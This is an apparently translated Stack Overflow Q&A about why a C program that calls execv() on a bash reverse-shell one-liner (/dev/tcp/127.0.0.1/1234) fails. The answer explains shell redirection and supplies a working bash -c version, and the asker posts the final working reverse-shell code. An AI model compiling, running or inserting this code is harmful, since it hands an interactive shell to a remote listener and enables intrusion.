【问题标题】:bash -i >& /dev/tcp/127.0.0.1/1234 0>&1bash -i >& /dev/tcp/127.0.0.1/1234 0>&1
【发布时间】:2016-07-01 13:04:56
【问题描述】:

我知道上面标题的某些部分已经被问过了,但我仍然有些困惑。实际上,我并没有真正得到 bash -i >& /dev/tcp/127.0.0.1/1234 0>&1 中的“>&” 我的主要目标是编译以下代码:

 *#include <stdio.h>
 #include <stdlib.h>
 #include <unistd.h>
 int main(){
 char *prog = "/bin/bash";
 /*bash -i >& /dev/tcp/127.0.0.1/1234 0>&1*/
 char *args[5] = {"/bin/bash", "-i",  ">&", "/dev/tcp/127.0.0.1  /1234","0>&1"};

execv(prog, args);
return 0;
}

它被编译但是当我执行相应的二进制文件时,它给了我以下错误: bash: >&: 没有这样的文件或目录

任何解释都将非常感谢;)!

【问题讨论】:

  • 您是否已经验证过代码在正常的cli上工作?
  • 是的。已经检查过了,它就像一个魅力:)
  • 0&gt;&amp;1 是一种 shell 语法,用于将进程的文件描述符 0(又名标准输入)指向文件描述符 1(又名标准输出)。该重定向由 shell 执行,因此您无法在 exec* 中执行此操作
  • 但是错误是关于第一个重定向而不是最后一个!我的意思是即使我删除了最后一个重定向 0>&1 错误仍然存​​在

标签: c linux bash gcc shellcode


【解决方案1】:

当你运行时:

bash -i >& /dev/tcp/127.0.0.1/1234 0>&1

在命令提示符下,您当前的外壳(显示提示并等待命令的外壳)解释重定向。

当您使用exec*() 函数之一运行外部程序时,没有外壳可以解析命令行并解释重定向。 execv() 启动 bash 并使用命令行的其余部分作为参数。

bash的命令行是:

bash options file

选项以破折号 (-) 开头。

它可能会成功解释-i,因为&gt;&amp; 不是以破折号(-)开头,它认为它是一个文件名。找不到这样的文件,报错">&: No such file or directory"并退出。

您应该使用system() 来启动一个shell 并为其提供整个命令行,或者使用popen()(它还允许您在新进程启动后将一些输入传递给它)。

这两个函数都创建了一个新进程。由于您的原始代码使用execv() 并且exec*() 函数将当前正在运行的进程替换为新进程,因此您可能应该在启动新进程后exit() 以获取当前行为。


也有可能(我没有测试)使用execv() 启动以下命令会产生您期望的结果:

bash -c "bash -i >& /dev/tcp/127.0.0.1/1234 0>&1"

在 C 中:

char *prog = "/bin/bash";
char *args[] = {"/bin/bash", "-c", "/bin/bash -i >& /dev/tcp/127.0.0.1/1234 0>&1"};
execv(prog, args);

【讨论】:

  • 亲爱的@axiac,这解释了它并解决了我的担忧!非常感谢。所以最后的代码是 #include <stdio.h> #include <stdlib.h> #include <unistd.h> int main(){ char *prog = "/bin/bash"; char *args[3] = {"/bin/bash", "-c", "/bin/bash -i &gt;&amp; /dev/tcp/127.0.0.1/1234 0&gt;&amp; 1"};执行(程序,参数);返回0; }</unistd.h></stdlib.h></stdio.h>
猜你喜欢
  • 2022-01-13
  • 2011-11-07
  • 2017-01-12
  • 2016-09-12
  • 1970-01-01
  • 2017-04-03
  • 2015-07-31
  • 2016-07-20
  • 1970-01-01
相关资源
最近更新 更多